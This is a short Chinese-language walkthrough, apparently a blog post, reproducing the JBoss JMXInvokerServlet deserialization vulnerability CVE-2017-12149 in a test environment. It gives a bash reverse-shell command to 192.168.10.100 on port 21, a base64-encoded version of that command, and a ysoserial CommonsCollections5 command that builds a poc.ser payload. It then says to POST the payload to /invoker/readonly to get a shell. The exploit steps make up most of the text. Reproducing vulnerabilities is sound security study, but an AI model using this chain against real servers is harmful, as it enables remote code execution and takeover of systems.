JBoss JMXInvokerServlet 反序列化漏洞(CVE-2017-12149)
记一次JBoss反序列化漏洞复现过程
如图,搭建一个JBoss环境
(备注:CVE-2017-12149适用JBoss版本:5.x / 6.x)
漏洞原理:
该漏洞出现在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化
编写反弹shell命令:
bash -i >& /dev/tcp/192.168.10.100/21 0>&1
由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,我们需要用进行一次编码:
(工具地址:http://www.jackson-t.ca/runtime-exec-payloads.html)
使用ysoserial来复现生成序列化数据:
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEwMC8yMSAwPiYx}|{base64,-d}|{bash,-i}” > poc.ser
生成好的POC即为poc.ser,将这个文件作为POST Body发送至/invoker/readonly
成功反弹shell
end